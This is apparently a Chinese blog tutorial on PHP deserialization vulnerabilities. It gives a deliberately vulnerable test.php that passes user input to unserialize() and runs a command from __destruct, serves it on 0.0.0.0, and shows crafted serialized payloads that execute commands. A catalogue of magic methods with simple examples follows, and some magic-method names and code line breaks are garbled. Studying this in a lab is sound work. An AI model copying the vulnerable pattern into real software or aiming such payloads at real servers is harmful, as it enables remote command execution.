PHP反序列化学习+解析+复现
文章目录
- 1、PHP反序列化含义
- 2、PHP反序列化解析
- 3、PHP反序列化漏洞
- 3.1首先确保本机含有php环境。
- 3.2test.php脚本
- 3.3启动php内置服务
- 3.4访问
- 3.5修改命令
- 4、魔术方法
1、PHP反序列化含义
序列化:将复杂的数据结构(对象、数组)转化为字符串,方便存储和运输。
反序列化:将对应的字符串恢复成原来的数据。
序列化函数:serialize() 反序列化函数:unserialize()
2、PHP反序列化解析
先放一个最为简单基础的php反序列化代码,那么它的输出就是个序列化输出的格式。
<?php
class C {public $cmd = 'whoami'; // 测试命令为 whoamipublic function __destruct(){system($this->cmd); }// 对象销毁时自动执行系统命令
}
// 测试反序列化
if(isset($_GET['c'])){unserialize($_GET['c']);
} else {$b = new C();echo "Payload: ".serialize($b);
}
?>
ok那我们快来看下他payload的序列化格式
那么从图中可以看出序列化数据为O:1:“C”:1:{s:3:“cmd”;s:6:“whoami”;},当我们把属性值whoami改成别的命令的时候,命令就会被执行。
3、PHP反序列化漏洞
那我们现在知道了反序列化的漏洞所在,那么只需要更改命令并执行就可以了。
3.1首先确保本机含有php环境。
php -version
如果没有的话需要找到你防止php的地址,然后配置环境变量。
3.2test.php脚本
把这个脚本放在你的根目录下,以我为例子,就放在了这里。
3.3启动php内置服务
我把php端口设置成了6666,不要与别的端口冲突
php -S 0.0.0.0:6666 # 允许所有IP访问
3.4访问
然后用自己的浏览器访问,这里我用的是OWASP
http://localhost:8000/test.php #将localhost改成自己的ip
发现乱码了,是由于 Windows 命令行编码与PHP输出编码不匹配 导致的。在PHP脚本顶部添加编码声明即可。
<?php
header('Content-Type: text/html; charset=GB2312'); // 编码声明
class C {public $cmd = 'whoami'; // 测试命令为 whoamipublic function __destruct(){system($this->cmd); }// 对象销毁时自动执行系统命令
}// 测试反序列化
if(isset($_GET['c'])){unserialize($_GET['c']);
} else {$b = new C();echo "Payload: ".serialize($b);
}
?>
3.5修改命令
http://x.x.x.x:6666/test.php?c=O:1:"C":1:{s:3:"cmd";s:14:"ping 127.0.0.1";}
这个的意思很明显,记得改s:14空格也要算上字符,结果显示如下。
还可以搞点好玩的,比如修改成弹计算器的命令,全部运行成功了。
http://x.x.x.x:6666/test.php?c=O:1:"C":1:{s:3:"cmd";s:10:"start calc";}
4、魔术方法
_construct() 构造函数,当对象new的时候自动调用
class User {public function __construct($name) {echo "User [$name] initialized!";}
}
$user = new User("Alice"); // 输出:User [Alice] initialized!
-destruct() 析构函数,当对象销毁时自动调用(反序列化漏洞常用触发点)
class Database {public function __destruct() {echo "Closing database connection...";}
}
$db = new Database();
unset($db); // 输出:Closing database connection...
_toString() 把类当作字符串使用时触发(可被preg_match等字符串函数触发)
class Product {public function __toString() {return "This is a product object";}
}
echo new Product(); // 输出:This is a product object
_sleep() 当对象被serialize()序列化时自动调用·
class Config {public $user = 'admin';private $password = '123456';public function __sleep() {return ['user']; // 仅序列化user属性}
}
echo serialize(new Config()); // 输出:O:6:"Config":1:{s:4:"user";s:5:"admin";}
-wakeup() 当对象被unserialize()反序列化时触发(反序列化入口点)
class Logger {public function __wakeup() {echo "Object deserialized!";}
}
$data = 'O:6:"Logger":0:{}';
unserialize($data); // 输出:Object deserialized!
_call() 当调用不存在的方法时触发(可用于实现动态方法)
class Dynamic {public function __call($name, $args) {echo "Calling undefined method: $name";}
}
$obj = new Dynamic();
$obj->fakeMethod(); // 输出:Calling undefined method: fakeMethod
_callStatic() 当调用不存在的静态方法时触发·
class StaticDemo {public static function __callStatic($name, $arguments) {echo "调用了不存在的静态方法: $name\n";print_r($arguments);}
}StaticDemo::undefinedMethod('param1', 123);
// 输出:调用了不存在的静态方法: undefinedMethod
// Array([0] => param1 [1] => 123)
_get() 当读取不可访问属性时触发(如private属性)
class User {private $data = ['name' => '张三','age' => 25];public function __get($name) {if (array_key_exists($name, $this->data)) {return $this->data[$name];}return "属性{$name}不存在";}
}$user = new User();
echo $user->name; // 输出:张三
echo $user->email; // 输出:属性email不存在
_set() 当给不可访问属性赋值时触发·
class Account {private $balance = 0;public function __set($name, $value) {if ($name === 'balance') {throw new Exception("禁止直接修改余额");}$this->$name = $value;}
}$account = new Account();
$account->balance = 1000; // 抛出异常
$account->name = "测试"; // 正常设置
_isset() 当对不可访问属性调用isset()时触发·
class Config {private $settings = ['debug' => true];public function __isset($name) {echo "检查属性是否存在: $name\n";return isset($this->settings[$name]);}
}$config = new Config();
var_dump(isset($config->debug)); // 输出:true
_unset() 当对不可访问属性调用unset()时触发·
class Session {private $data = [];public function __unset($name) {echo "尝试删除属性: $name\n";unset($this->data[$name]);}
}$session = new Session();
unset($session->token); // 触发__unset
_invoke() 当尝试以函数方式调用对象时触发(如$obj())
class Calculator {public function __invoke($a, $b) {return $a + $b;}
}$calc = new Calculator();
echo $calc(3, 5); // 输出:8